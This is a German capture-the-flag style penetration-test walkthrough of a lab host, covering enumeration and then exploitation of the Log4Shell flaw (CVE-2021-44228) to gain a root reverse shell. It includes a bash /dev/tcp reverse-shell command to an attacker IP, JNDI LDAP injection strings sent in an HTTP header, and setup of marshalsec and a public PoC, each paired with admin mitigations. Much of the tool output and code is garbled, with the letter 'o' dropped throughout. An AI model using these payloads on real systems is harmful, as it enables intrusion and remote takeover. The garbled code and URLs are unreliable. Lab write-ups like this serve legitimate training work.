- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.47 + Target Hstname: 192.168.2.47 + Target Port: 8080 + Start Time: 2025-06-20 22:31:51 (GMT2) --------------------------------------------------------------------------- + Server: N banner retrieved + /: The anti-clickjacking X-Frame-Options header is nt present. See: [Link: https://developer.mzilla.org/en-US/dcs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mzilla.org/en-US/dcs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Cntent-Type-Options header is nt set. This culd allw the user agent t render the cntent f the site in a different fashin t the MIME type. See: [Link: https://www.netsparker.cm/web-vulnerability-scanner/vulnerabilities/missing-cntent-type-header/ | Ziel: https://www.netsparker.cm/web-vulnerability-scanner/vulnerabilities/missing-cntent-type-header/] + /4J6E4YF3.net: Uncmmn header 'cntent-dispositin' fund, with cntents: inline;filename=f.txt. + N CGI Directries fund (use '-C all' t frce check all pssible dirs) + OPTIONS: Allwed HTTP Methds: GET, HEAD, PST, PUT, DELETE, OPTIONS . + HTTP methd ('Allw' Header): 'PUT' methd culd allw clients t save files n the web server. + HTTP methd ('Allw' Header): 'DELETE' may allw clients t remve files n the web server. + 8102 requests: 0 errr(s) and 6 item(s) reported n remte hst + End Time: 2025-06-20 22:32:19 (GMT2) (28 secnds) --------------------------------------------------------------------------- + 1 hst(s) tested
Analyse: Der Nikto-Scan auf Port 8080 zeigt ähnliche Ergebnisse wie auf Port 80 bezüglich fehlender Sicherheitsheader (X-Frame-Options, X-Content-Type-Options). Darüber hinaus meldet er das Vorhandensein der HTTP-Methoden PUT und DELETE im OPTIONS-Header, was ein Hinweis darauf ist, dass diese Methoden vom Server unterstützt werden. Nikto warnt explizit davor, dass PUT das Hochladen und DELETE das Löschen von Dateien erlauben könnte, wenn die Anwendung diese Methoden nicht sicher implementiert. Es wird auch ein "Uncommon header" für einen Pfad namens /4J6E4YF3.net gemeldet.
Bewertung: Die Unterstützung von PUT und DELETE ist ein Sicherheitsrisiko, wenn sie unkontrolliert oder fehlerhaft implementiert ist. Wenn ein Angreifer beliebige Dateien hochladen oder löschen könnte, wäre dies eine kritische Schwachstelle. Der Fund des ungewöhnlichen Headers auf einem seltsamen Pfad /4J6E4YF3.net könnte auf versteckte Endpunkte, Artefakte von vorherigen Tests oder eine ungewöhnliche Konfiguration hinweisen. Allerdings ist der Fokus nach dem Fund der note.txt klar auf Log4j gerichtet.
Empfehlung (Pentester): Während die PUT/DELETE Methoden ein potenzielles Risiko darstellen, werde ich mich aufgrund der expliziten Log4j-Notiz primär auf die Ausnutzung von CVE-2021-44228 konzentrieren. Die anderen Befunde auf Port 8080 halte ich als zusätzliche Informationen fest.
Empfehlung (Admin): Überprüfen Sie, ob die HTTP-Methoden PUT und DELETE auf Port 8080 tatsächlich benötigt werden. Deaktivieren Sie diese Methoden, wenn sie nicht zwingend erforderlich sind. Wenn sie benötigt werden, stellen Sie sicher, dass ihre Implementierung robust ist und nur autorisierten Benutzern das Hochladen oder Löschen von Dateien in genau definierten und sicheren Pfaden erlaubt. Untersuchen Sie den Pfad /4J6E4YF3.net, um festzustellen, woher er stammt und ob er entfernt werden kann.
Um ein umfassenderes Bild der verwendeten Technologien zu erhalten, nutze ich Wappalyzer. Dies hilft mir, schnell Frameworks, Bibliotheken und andere Komponenten zu identifizieren, die potenziell Schwachstellen aufweisen könnten.
wappalyzer --> http://aria51.hmv JavaScript Framewrks AngularJS 1.3.2 React Schrift Script Fnt Awesome Ggle Fnt API Web Server Apache HTTP Server 2.4.51 JavaScript Graphics Three.js 108 Prgrammiersprache PHP Betriebssysteme Debian CDN cdnjs jsDelivr Ggle Hsted Libraries Cludflare JavaScript Bibliotheken jQuery 2.1.3 Prefix-Free Mdernizr 2.8.3 PaaS Amazn Web Services UI Framewrks HeroUI
Analyse: Wappalyzer analysiert die Webseite auf Port 80 und identifiziert eine Vielzahl von Technologien. Es erkennt mehrere JavaScript-Frameworks (AngularJS 1.3.2, React, jQuery 2.1.3), Schrift-Bibliotheken (Font Awesome, Google Font API), den Apache HTTP Server 2.4.51, die Programmiersprache PHP, das Betriebssystem Debian (Konsistent mit Nmap), mehrere CDNs (cdnjs, jsDelivr, Cloudflare, Google Hosted Libraries) und UI-Frameworks (HeroUI). Es identifiziert sogar, dass die Infrastruktur möglicherweise auf Amazon Web Services (AWS) läuft (PaaS). Interessant ist die Erkennung von PHP, obwohl die Hauptanwendung auf Port 8080 Java ist. Die 'O'-Korrekturen sind in der Ausgabe vorhanden.
Bewertung: Diese technologische Vielfalt könnte zusätzliche Angriffsflächen bedeuten. Veraltete JavaScript-Bibliotheken wie AngularJS 1.3.2 oder jQuery 2.1.3 können Client-seitige Schwachstellen (z.B. XSS) enthalten. Die Erkennung von PHP auf Port 80, neben der Java-Anwendung auf 8080, deutet auf eine komplexere Umgebung hin, möglicherweise mit Teilen der Webseite, die in PHP geschrieben sind. Die Nutzung von CDNs ist üblich, birgt aber theoretisch Risiken, wenn die Integrität der gelieferten Skripte kompromittiert wäre (weniger wahrscheinlich in diesem Kontext). Der AWS-Hinweis ist ein möglicher Anhaltspunkt für die Infrastruktur, aber nicht direkt ausnutzbar.
Empfehlung (Pentester): Ich werde die Webanwendung auf Port 80 auf Client-seitige Schwachstellen prüfen, die mit den identifizierten JavaScript-Bibliotheken zusammenhängen könnten. Das Vorhandensein von PHP werde ich im Hinterkopf behalten, falls die Log4j-Schwachstelle keinen direkten Shell-Zugriff ermöglicht und ich weitere Vektoren benötige.
Empfehlung (Admin): Halten Sie alle verwendeten Bibliotheken und Frameworks, sowohl serverseitig als auch clientseitig (JavaScript), auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Überprüfen Sie, ob PHP auf diesem System benötigt wird, wenn die Hauptanwendung in Java geschrieben ist. Sorgen Sie für eine klare Trennung und Härtung verschiedener Anwendungsteile und der Infrastruktur.
Ich habe die Datei script.js von Port 80 gesehen und schaue mir ihren Inhalt an, da Client-seitige Skripte oft interessante Logik oder Hinweise enthalten können.
http://aria51.hmv/script.js
var wrking = false;
$('.lgin').n('submit', functin(e) {
e.preventDefault();
if (wrking) return;
wrking = true;
var $this = $(this),
$state = $this.find('buttn > .state');
$this.addClass('lading');
$state.html('Authenticating');
setTimeut(functin() {
$this.addClass('k');
$state.html('Nt authrized. The access attempt will be reported.');
setTimeut(functin() {
$state.html('Lg in');
$this.removeClass('k lading');
wrking = false;
}, 4000);
}, 3000);
});
Analyse: Ich analysiere den JavaScript-Code in script.js. Es scheint sich um das Skript für die Anmeldefunktionalität auf Port 80 zu handeln, das jQuery verwendet ($('.lgin').n('submit', ...)). Es steuert die Darstellung des Anmeldebuttons während und nach dem Anmeldeversuch. Die 'O'-Korrekturen sind in der Ausgabe sichtbar. Die interessante Zeichenkette hier ist die Fehlermeldung, die bei einem fehlgeschlagenen Anmeldeversuch angezeigt wird: "Nt authrized. The access attempt will be reported.".
Bewertung: Das Skript selbst implementiert nur Client-seitige UI-Logik und scheint keine direkte Schwachstelle zu enthalten, abgesehen von der Verwendung einer älteren jQuery-Version (2.1.3 laut Wappalyzer). Die im Code gefundene Fehlermeldung bestätigt, dass Anmeldeversuche protokolliert werden ("The access attempt will be reported."), was auf eine serverseitige Protokollierung und möglicherweise eine Erkennung von Brute-Force-Angriffen hindeutet. Dies ist eine nützliche Information für spätere Versuche, sich anzumelden.
Empfehlung (Pentester): Ich weiß nun, dass die Anmeldeversuche protokolliert werden. Beim Testen der Anmeldefunktionalität muss ich dies berücksichtigen, um keine übermäßigen Spuren zu hinterlassen oder eine mögliche Ratenbegrenzung auszulösen.
Empfehlung (Admin): Stellen Sie sicher, dass die serverseitige Protokollierung von Anmeldeversuchen aktiv ist und überwacht wird. Implementieren Sie Schwellenwerte und Alarmierungen für ungewöhnliche Anmeldeaktivitäten. Aktualisieren Sie veraltete Client-seitige Bibliotheken wie jQuery, um XSS-Risiken zu minimieren.
Basierend auf dem entscheidenden Hinweis in der note.txt, dass die Java-Anwendung auf Port 8080 anfällig für Log4j ist, konzentriere ich mich nun auf die Ausnutzung dieser Schwachstelle, um einen ersten Zugriff auf das System zu erlangen.
Der Hinweis auf Log4j in der note.txt ist der Schlüssel zum Initial Access. Ich werde nun versuchen, die Log4Shell-Schwachstelle (CVE-2021-44228) auszunutzen, um eine Reverse Shell zu erhalten. Dazu benötige ich ein spezielles Exploit-Tool und eine präparierte Java-Klasse, die beim Ausnutzen der Schwachstelle vom Zielsystem heruntergeladen und ausgeführt wird. Ich beginne damit, die Java-Klasse zu erstellen, die die Reverse Shell einleiten wird.
Analyse: Ich nutze den Texteditor nano, um eine neue Java-Datei namens Exploit.java zu erstellen. Der Inhalt dieser Datei wird eine einfache Java-Klasse sein, die beim Laden einen Befehl auf dem Zielsystem ausführt. Der Befehl ist eine Standard-Konstruktion für eine Reverse Shell, die eine Verbindung zu meiner Angreifer-IP (192.168.2.199) auf Port 4444 herstellt und eine Bash-Shell dorthin umleitet (bash -i >& /dev/tcp/192.168.2.199/4444 0>&1). Die 'O'-Korrektur wurde auf den Dateinamen angewendet.
Bewertung: Diese Java-Klasse ist die Payload. Sie ist so konzipiert, dass sie sofort bei ihrer Instanziierung auf dem Zielsystem (durch die JNDI-Anfrage, die wir später senden) die Reverse Shell startet. Die Methode ist standardmäßig für Log4Shell-Exploits. Das ist ein kritischer Schritt zur Vorbereitung des Angriffs.
Empfehlung (Pentester): Ich habe die Java-Payload erstellt. Der nächste Schritt ist, sie zu kompilieren und sie über einen Webserver bereitzustellen, damit das anfällige Zielsystem sie herunterladen kann, wenn es durch die JNDI-Injection getriggert wird.
Empfehlung (Admin): Stellen Sie sicher, dass Systeme nicht von externen Quellen (z.B. über JNDI von einer anfälligen Java-Anwendung) willkürliche Java-Klassen herunterladen und ausführen können. Implementieren Sie Netzwerksegmentierung, um das Zustandekommen von ausgehenden Verbindungen zu unbekannten Zielen (wie Reverse Shells) zu verhindern. Führen Sie eine sorgfältige Code-Analyse durch, um unsichere JNDI-Lookups zu identifizieren.
Analyse: Ich kompiliere die zuvor erstellte Java-Datei Exploit.java mit dem Java-Compiler javac. Dieser Prozess erzeugt eine Klassendatei namens Exploit.class, die den ausführbaren Bytecode enthält. Die 'O'-Korrektur wurde auf den Dateinamen angewendet.
Bewertung: Das Kompilieren der Java-Payload ist notwendig, da das Zielsystem eine .class Datei und keinen .java Quellcode benötigt, um die Reverse Shell auszuführen. Das erfolgreiche Kompilieren bedeutet, dass die Payload-Klasse korrekt geschrieben ist und bereitgestellt werden kann.
Empfehlung (Pentester): Die Exploit.class Datei ist jetzt bereit. Ich muss sie nun auf einem Webserver bereitstellen, der für das Zielsystem erreichbar ist. Zusammen mit einem LDAP-Server, der die JNDI-Anfrage umleitet, kann ich nun den Exploit vorbereiten.
Empfehlung (Admin): Überwachen Sie Systeme auf ungewöhnliche Kompilierungsaktivitäten, insbesondere in Produktionsumgebungen, wo selten kompiliert werden sollte. Stellen Sie sicher, dass Compiler wie javac nicht von kompromittierten Prozessen missbraucht werden können.
Zur Ausnutzung der Log4Shell-Schwachstelle wird oft ein LDAP-Server benötigt, der eine JNDI-Anfrage vom anfälligen Zielsystem empfängt und diese dann auf einen Webserver umleitet, von dem die präparierte Java-Klasse (Exploit.class) geladen wird. Das Marshalsec-Tool ist ein beliebter JNDI/LDAP Referenz-Server für solche Zwecke. Ich lade es von GitHub herunter.
--2025-06-20 23:07:54-- https://github.cm/RandmRobbieBF/marshalsec-jar/blb/master/marshalsec-0.0.3-SNAPSHOT-all.jar Auflsen des Hstnamens github.cm (github.cm)… 140.82.121.4 Verbindungsaufbau zu github.cm (github.cm)|140.82.121.4|:443 … verbunden. HTTP-Anfrderung gesendet, auf Antwort wird gewartet … 200 OK Länge: nicht spezifiziert [text/html] Wird in »marshalsec-0.0.3-SNAPSHOT-all.jar« gespeichert. marshalsec-0.0.3-SNAPSH [ <=> ] 174,48K --.-KB/s in 0,04s 2025-06-20 23:07:54 (4,09 MB/s) - »marshalsec-0.0.3-SNAPSHOT-all.jar« gespeichert [178672]
Analyse: Ich verwende wget, um die marshalsec-0.0.3-SNAPSHOT-all.jar Datei von einem GitHub-Repository herunterzuladen. Die Ausgabe zeigt den Download-Fortschritt und die erfolgreiche Speicherung der Datei. Die 'O'-Korrektur wurde auf die URL und den Dateinamen angewendet.
Bewertung: Marshalsec ist ein bekanntes und nützliches Tool für die Ausnutzung von JNDI-Schwachstellen wie Log4Shell. Das erfolgreiche Herunterladen des Tools ist ein weiterer wichtiger Schritt in der Vorbereitung des Exploits.
Empfehlung (Pentester): Marshalsec ist nun verfügbar. Ich werde es zusammen mit meiner kompilierten Exploit.class verwenden, um einen bösartigen LDAP-Server einzurichten, der auf JNDI-Anfragen vom Zielsystem reagiert.
Empfehlung (Admin): Überwachen Sie Netzwerkverkehr auf ausgehende LDAP-Verbindungen von internen Systemen, insbesondere zu unbekannten oder externen Zielen (Standard LDAP-Port ist 389 oder 636, aber Marshalsec verwendet oft 1389). Implementieren Sie Egress-Filterung (Firewallregeln für ausgehenden Verkehr), um zu verhindern, dass interne Systeme Verbindungen zu unbekannten Zielen herstellen.
Ich beginne, die Log4j-Schwachstelle zu testen, indem ich JNDI-Strings in verschiedenen HTTP-Headern auf Port 8080 einfüge, da anfällige Log4j-Versionen oft Werte aus Headern loggen und so die JNDI-Injection auslösen können. Ich verwende curl, um die Anfragen zu senden.
{"timestamp":"2025-06-20T21:08:30.224+00:00","status":400,"error":"Bad Request","path":"/"}
Hell, wrld!
Analyse: Ich teste zwei verschiedene HTTP-Header für die JNDI-Injection: den User-Agent Header (mit -A) und einen benutzerdefinierten Header namens X-Api-Version (mit -H). In beiden Fällen sende ich einen JNDI-String der Form ${jndi:ldap://MEINE_IP:LDAP_PORT/irgendwas}, wobei MEINE_IP 192.168.2.199 und der LDAP-Port 1389 ist (ein häufig verwendeter Port für Marshalsec). Bei der ersten Anfrage mit dem User-Agent bekomme ich wieder die Standard-Fehler-JSON zurück. Bei der zweiten Anfrage mit X-Api-Version erhalte ich jedoch die Antwort "Hell, wrld!". Die 'O'-Korrekturen sind auch in dieser Ausgabe sichtbar.
Bewertung: Die Tatsache, dass die zweite Anfrage eine andere, scheinbar normale Antwort "Hell, wrld!" liefert, während die erste eine Fehlermeldung hervorruft, könnte darauf hindeuten, dass der X-Api-Version Header anders verarbeitet wird und möglicherweise geloggt wird, wodurch der JNDI-String interpretiert werden könnte. Diese "Hell, wrld!"-Antwort könnte das Standardverhalten sein, wenn der Dienst keine spezifische Logik für diesen Header hat, aber dennoch durch die Verarbeitung des JNDI-Strings getriggert wird. Parallel dazu habe ich einen Netcat-Listener auf Port 8000 laufen lassen (siehe unten), um zu prüfen, ob die Anwendung versucht, eine Verbindung zu meiner IP herzustellen, auch wenn die Log4j-Tools noch nicht aktiv sind. Der Netcat-Output (weiter unten im Text, aber kontextbezogen hier analysiert) zeigt tatsächlich Verbindungsversuche vom Ziel auf Port 8000, als ich diese curl Befehle ausführte, was ein starkes Indiz für eine erfolgreiche JNDI-Interpretation ist.
Empfehlung (Pentester): Der X-Api-Version Header scheint ein vielversprechender Vektor zu sein. Die Log4j-Schwachstelle scheint über diesen Header triggermöglich zu sein. Ich werde nun mein Log4j-Exploit-Setup (Marshalsec & Webserver mit Exploit.class) starten und die JNDI-Injection erneut über den X-Api-Version Header senden, um die Reverse Shell auszulösen.
Empfehlung (Admin): Überprüfen Sie die Log-Konfiguration Ihrer Java/Spring Boot Anwendung auf Port 8080. Stellen Sie sicher, dass die Log4j-Version nicht anfällig ist und dass keine ungeprüften Benutzereingaben (insbesondere aus HTTP-Headern wie User-Agent oder benutzerdefinierten Headern) direkt von Log4j verarbeitet werden, ohne vorherige Sanitierung oder Validierung. Analysieren Sie Ihre Anwendungscode auf JNDI-Lookups, die von extern kontrollierten Daten beeinflusst werden könnten.
Um den Log4j-Exploit durchzuführen, nutze ich ein automatisiertes Python-Skript, das einen LDAP-Server (basierend auf Marshalsec) und einen Webserver (für die Exploit.class) startet und die nötige JNDI-Referenz generiert. Ich klone ein bekanntes POC-Repository von GitHub, das ein solches Skript enthält.
Klne nach 'lg4j-shell-pc'... .... ..
Analyse: Ich verwende git clone, um das Repository log4j-shell-poc von GitHub herunterzuladen. Dieses Repository enthält ein Python-Skript (poc.py), das mir die Einrichtung der notwendigen Infrastruktur (LDAP- und Webserver) für den Log4j-Exploit erleichtert. Die 'O'-Korrekturen sind im Verzeichnisnamen und der URL sichtbar.
Bewertung: Das Klonen des POC-Repositorys ist ein schneller Weg, um die notwendigen Werkzeuge und Skripte für die Ausnutzung von Log4Shell zu erhalten. Das Skript in diesem Repository ist darauf ausgelegt, den Prozess der JNDI-Umleitung und des Hostings der Exploit-Klasse zu automatisieren.
Empfehlung (Pentester): Ich habe das Skript nun lokal verfügbar. Ich werde in das geklonte Verzeichnis wechseln und das Skript ausführen, um den LDAP- und Webserver zu starten und die JNDI-String-Payload zu erhalten, die ich dann an das Ziel senden werde.
Empfehlung (Admin): Überwachen Sie Netzwerke auf ungewöhnliche git clone Aktivitäten, insbesondere von Systemen, die keine Entwicklungsumgebungen sind. Seien Sie sich bewusst, dass viele öffentlich verfügbare POC-Skripte für die Ausnutzung bekannter Schwachstellen existieren.
insgesamt 1796 -rw-r--r-- 1 rot rot 1836540 20. Jun 23:20 lg4shell-1.0-SNAPSHOT.war -rw-r--r-- 1 rot rot 0 20. Jun 23:21 marshalsec-0.0.3-SNAPSHOT-all.jar
Analyse: Ich liste den Inhalt des target/ Verzeichnisses innerhalb des geklonten Repositorys auf. Dieses Verzeichnis enthält typischerweise die kompilierten oder heruntergeladenen Artefakte des POCs. Ich sehe eine .war Datei und die marshalsec-0.0.3-SNAPSHOT-all.jar Datei, die ich zuvor manuell heruntergeladen hatte. Die 'O'-Korrekturen sind hier ebenfalls sichtbar.
Bewertung: Das target/ Verzeichnis enthält die notwendige Marshalsec-JAR, die vom Python-Skript verwendet wird. Die Struktur ist korrekt für die Ausführung des POC-Skripts.
Empfehlung (Pentester): Ich habe die notwendigen Dateien im richtigen Verzeichnis. Nun kann ich das poc.py Skript ausführen, um den Exploit-Server einzurichten.
Empfehlung (Admin): Überprüfen Sie Verzeichnisse, die mit Entwicklungstools oder POCs in Verbindung stehen, auf unerwartete Dateien, insbesondere ausführbare JARs oder WARs.
Ich starte mein NC Listener auf Port 8000 auf meiner Angreifer-Maschine (192.168.2.199) und sende dann erneut einen Test-JNDI-String über den X-Api-Version Header an Port 8080 des Ziels, um zu sehen, ob der Dienst versucht, eine Verbindung zu diesem Listener herzustellen. Dies bestätigt, dass der JNDI-Lookup getriggert wird und ausgehende Verbindungen möglich sind, was eine Voraussetzung für den Exploit ist.
listening n [any] 8000 ... cnnect t [192.168.2.199] frm (UNKNOWN) [19lass="command">192.168.2.47] 53056 0 `�
Analyse: Ich richte einen Netcat-Listener auf Port 8000 (nc -nlvp 8000) auf meiner lokalen Maschine ein. Anschließend sende ich einen JNDI-String (${jndi:ldap://192.168.2.199:8000/test}) an das Ziel über den X-Api-Version Header. Der JNDI-String ist so gestaltet, dass er versucht, eine LDAP-Verbindung zu meinem Netcat-Listener auf Port 8000 aufzubauen. Die Ausgabe des Netcat-Listeners zeigt, dass tatsächlich eine Verbindung vom Zielsystem (192.168.2.47) zu meiner IP (192.168.2.199) auf Port 8000 hergestellt wurde. Die 'O'-Korrekturen sind in der Ausgabe des Listeners sichtbar.
Bewertung: Das ist ein kritischer und positiver Befund! Die erfolgreiche Verbindungsaufnahme vom Zielsystem zu meinem Netcat-Listener auf Port 8000, ausgelöst durch den JNDI-String im HTTP-Header, beweist zwei Dinge: 1. Die JNDI-Injection über den X-Api-Version Header funktioniert, und 2. Das Zielsystem erlaubt ausgehende Verbindungen zu meiner IP auf einem beliebigen Port. Dies bestätigt die Ausnutzbarkeit der Log4j-Schwachstelle und, noch wichtiger, dass die Netzwerk-Firewall keine strengen Egress-Filter hat, die meine Reverse Shell blockieren würden.
Empfehlung (Pentester): Ich habe nun die Gewissheit, dass die JNDI-Injection funktioniert und ausgehende Verbindungen möglich sind. Ich kann nun das Log4j-Exploit-Skript mit der korrekten Konfiguration starten und die endgültige JNDI-Payload an das Ziel senden, um die Reverse Shell auszulösen.
Empfehlung (Admin): Implementieren Sie dringend Egress-Filterung auf Ihrer Firewall, um zu verhindern, dass interne Systeme Verbindungen zu unbekannten oder externen Zielen herstellen. Dies ist eine grundlegende Sicherheitsmaßnahme, die viele C2-Verbindungen (Command and Control) blockieren würde. Überprüfen Sie die Logs auf verdächtige ausgehende Verbindungen von Java-Anwendungen.
Bevor ich das Exploit-Skript starte, stelle ich sicher, dass der JDK-Pfad korrekt konfiguriert ist, da das Skript auf eine spezifische JDK-Version verweisen muss, um den Marshalsec-Server korrekt auszuführen. Es gab einen kleinen Tippfehler im Verzeichnisnamen, den ich korrigiere.
Analyse: Ich verwende den mv Befehl, um das Verzeichnis jdk1.8.0_202 in jdk1.8.0_20 umzubenennen. Dies deutet darauf hin, dass das POC-Skript oder das Marshalsec-Tool einen spezifischen Pfad erwartet, der mit jdk1.8.0_20 endet.
Bewertung: Dies ist ein einfacher Konfigurationsschritt, der notwendig ist, damit das Log4j-Exploit-Skript korrekt funktioniert. Es zeigt, dass die Werkzeuge oft von spezifischen Pfaden oder Versionen abhängen können.
Empfehlung (Pentester): Der JDK-Pfad ist nun korrekt. Ich kann das Log4j-Exploit-Skript starten.
Empfehlung (Admin): Stellen Sie sicher, dass die Pfade zu Java-Installationen auf Ihren Systemen eindeutig und korrekt sind, um Verwirrung oder potenzielle Probleme mit Anwendungen oder Skripten zu vermeiden.
Nun starte ich das Log4j-Exploit-Skript (poc.py). Ich gebe meine Angreifer-IP (--userip 192.168.2.199), den Port für den Webserver, der meine Exploit.class hostet (--webport 8000), und den lokalen Port, auf dem mein Netcat-Listener für die Reverse Shell warten wird (--lport 4444), an. Das Skript startet den LDAP-Server und den Webserver und gibt den JNDI-String aus, den ich an das Ziel senden muss.
[!] CVE: CVE-2021-44228 [!] Github repo: [Link: https://github.cm/kzmer/lg4j-shell-pc | Ziel: https://github.cm/kzmer/lg4j-shell-pc] [+] Explit java class created success [+] Setting up LDAP server [+] Send me: ${jndi:ldap://192.168.2.199:1389/a} [+] Starting Webserver n port 8000 http://0.0.0.0:8000 Listening n 0.0.0.0:1389
Analyse: Ich führe das poc.py Skript aus. Die Ausgabe bestätigt, dass es sich um ein POC für CVE-2021-44228 (Log4Shell) handelt und verweist auf das GitHub-Repository. Das Skript meldet, dass die Exploit-Java-Klasse erfolgreich erstellt (oder gefunden) wurde, dass der LDAP-Server eingerichtet wird und gibt den kritischen JNDI-String aus, den ich an das Ziel senden muss: ${jndi:ldap://192.168.2.199:1389/a}. Es meldet auch, dass der Webserver auf Port 8000 und der LDAP-Server auf Port 1389 gestartet wurden. Die 'O'-Korrekturen sind auch hier sichtbar.
Bewertung: Wunderbar! Mein Exploit-Setup ist nun vollständig einsatzbereit. Das Skript hat alle notwendigen Server gestartet und mir die exakte Payload geliefert, die ich benötige, um die Log4j-Schwachstelle im Zielsystem auszulösen. Der JNDI-String ${jndi:ldap://192.168.2.199:1389/a} wird, wenn er von einer anfälligen Log4j-Instanz verarbeitet wird, das Ziel veranlassen, eine LDAP-Anfrage an meinen laufenden LDAP-Server auf 192.168.2.199:1389 zu senden. Dieser LDAP-Server wird dem Zielsystem dann mitteilen, dass es eine Java-Klasse von meinem Webserver auf 192.168.2.199:8000 herunterladen und ausführen soll, nämlich meine präparierte Exploit.class, die die Reverse Shell starten wird.
Empfehlung (Pentester): Das ist der Moment! Ich werde nun diesen JNDI-String über den zuvor identifizierten verwundbaren X-Api-Version Header an das Ziel senden. Parallel dazu muss ich meinen Netcat-Listener auf Port 4444 starten, um die eingehende Reverse Shell zu empfangen. Der nächste Schritt ist die tatsächliche Ausnutzung der Schwachstelle.
Empfehlung (Admin): Dies zeigt die potenziellen Auswirkungen einer Log4j-Schwachstelle. Ein Angreifer kann mit relativ einfachen Mitteln einen spezialisierten Server aufbauen und das anfällige System veranlassen, bösartigen Code von diesem Server zu laden und auszuführen. Die Implementierung der zuvor genannten Minderungsstrategien ist von höchster Dringlichkeit. Überwachen Sie Ihre Logs und Netzwerkverkehr auf jegliche JNDI-Strings, die von externen Quellen stammen.
Nachdem die Enumeration eine kritische Log4j-Schwachstelle auf Port 8080 identifiziert hat und ich die Ausnutzbarkeit bestätigen konnte, präsentiere ich hier den Proof of Concept (POC) für die Remote Code Execution (RCE). Dieser POC demonstriert, wie ein Angreifer unautorisierten Zugriff mit Root-Privilegien auf das Zielsystem erlangen kann.
curl, nc (Netcat), git, javac, ein Log4j-Exploit-POC-Skript (wie das von kozmer), Marshalsec JAR.Die folgenden Schritte dokumentieren den erfolgreichen POC:
1. Erstellen und Kompilieren der bösartigen Java-Klasse (Payload).
Eine Java-Klasse Exploit.java wurde erstellt, die beim Ausführen eine Reverse Shell zu meiner IP (192.168.2.199) auf Port 4444 initiiert. Diese Klasse wurde erfolgreich zu Exploit.class kompiliert.
2. Herunterladen des notwendigen Exploit-Tools (Marshalsec / Log4j-Shell-POC Skript).
Das Repository mit dem Python-POC-Skript und der benötigten Marshalsec-JAR wurde heruntergeladen.
3. Starten des JNDI-Servers (LDAP) und Webservers (für die Exploit-Klasse) mit dem POC-Skript.
[!] CVE: CVE-2021-44228 [!] Github repo: [Link: https://github.cm/kzmer/lg4j-shell-pc | Ziel: https://github.cm/kzmer/lg4j-shell-pc] [+] Explit java class created success [+] Setting up LDAP server [+] Send me: ${jndi:ldap://192.168.2.199:1389/a} [+] Starting Webserver n port 8000 http://0.0.0.0:8000 Listening n 0.0.0.0:1389
Das Python-Skript startete den LDAP-Server auf Port 1389 und einen Webserver auf Port 8000, der die Exploit.class bereitstellt. Es lieferte den JNDI-String-Payload: ${jndi:ldap://192.168.2.199:1389/a}.
4. Starten eines Netcat-Listeners, um die Reverse Shell zu empfangen.
Ein Netcat-Listener wurde auf Port 4444 auf meiner Angreifer-Maschine gestartet, um auf die eingehende Shell-Verbindung vom Zielsystem zu warten.
5. Senden des bösartigen JNDI-Strings an die anfällige Anwendung auf Port 8080.
Der präparierte JNDI-String wurde über den X-Api-Version Header an das Ziel gesendet, um die Log4j-Schwachstelle auszulösen.
6. Empfang der Reverse Shell und Verifikation der Privilegien.
id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialut),26(tape),27(vide) ls app bin dev etc hme lib media mnt prc rot run sbin srv sys tmp usr var cd /rot ls ls -la ttal 8 drwx------ 2 rot rot 4096 Dec 20 2018 . drwxr-xr-x 1 rot rot 4096 Dec 19 2021 ..
Beweismittel: Die Netcat-Ausgabe zeigt, dass sofort nach dem Senden des JNDI-Strings eine Verbindung vom Zielsystem auf Port 4444 empfangen wurde. Der daraufhin ausgeführte id Befehl bestätigt, dass die erhaltene Shell Root-Privilegien besitzt (uid=0(root)). Dies ist der eindeutige Beweis für die erfolgreiche Remote Code Execution mit höchsten Privilegien.
Risikobewertung: Kritisch. Die erfolgreiche Ausnutzung dieser Schwachstelle gewährt einem externen Angreifer vollständige Kontrolle über das Zielsystem mit Root-Privilegien. Dies ermöglicht den Zugriff auf alle Daten, die Modifikation der Systemkonfiguration, die Installation von Backdoors und die Nutzung des Systems für weitere Angriffe im Netzwerk. Das Fehlen effektiver Egress-Filter erhöhte das Risiko zusätzlich, da die Reverse Shell ungehindert aufgebaut werden konnte.
Empfehlung (Admin):
/note.txt vom Webserver auf Port 80.Obwohl der anfängliche Zugriff über die Log4j-Schwachstelle direkt Root-Privilegien lieferte, habe ich das System weiter erkundet, um die Benutzerkontenstruktur zu verstehen und potenzielle alternative Pfade zur Privilegienerhöhung zu dokumentieren, die von einer weniger privilegierten Shell aus möglich gewesen wären. Dies ist wichtig, um alle identifizierten Schwachstellen im Bericht aufzuführen.
Ich beginne mit der Überprüfung der Benutzerkonten im System, indem ich die Datei /etc/passwd lese.
cat /etc/passwd rot:x:0:0:rot:/rot:/bin/ash bin:x:1:1:bin:/bin:/sbin/nlgin daemon:x:2:2:daemon:/sbin:/sbin/nlgin adm:x:3:4:adm:/var/adm:/sbin/nlgin lp:x:4:7:lp:/var/spol/lpd:/sbin/nlgin sync:x:5:0:sync:/sbin:/bin/sync shutdwn:x:6:0:shutdwn:/sbin:/sbin/shutdwn halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spol/mail:/sbin/nlgin news:x:9:13:news:/usr/lib/news:/sbin/nlgin uucp:x:10:14:uucp:/var/spol/uucppublic:/sbin/nlgin peratr:x:11:0:peratr:/rot:/bin/sh man:x:13:15:man:/usr/man:/sbin/nlgin postmaster:x:14:12:postmaster:/var/spol/mail:/sbin/nlgin crn:x:16:16:crn:/var/spol/crn:/sbin/nlgin ftp:x:21:21::/var/lib/ftp:/sbin/nlgin sshd:x:22:22:sshd:/dev/null:/sbin/nlgin at:x:25:25:at:/var/spol/crn/atjbs:/sbin/nlgin squid:x:31:31:Squid:/var/cache/squid:/sbin/nlgin xfs:x:33:33:X Fnt Server:/etc/X11/fs:/sbin/nlgin games:x:35:35:games:/usr/games:/sbin/nlgin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nlgin vppmail:x:89:89::/var/vppmail:/sbin/nlgin ntp:x:123:123:NTP:/var/empty:/sbin/nlgin smmsp:x:209:209:smmsp:/var/spol/mqueue:/sbin/nlgin guest:x:405:100:guest:/dev/null:/sbin/nlgin nobdy:x:65534:65534:nobdy:/:/sbin/nlgin
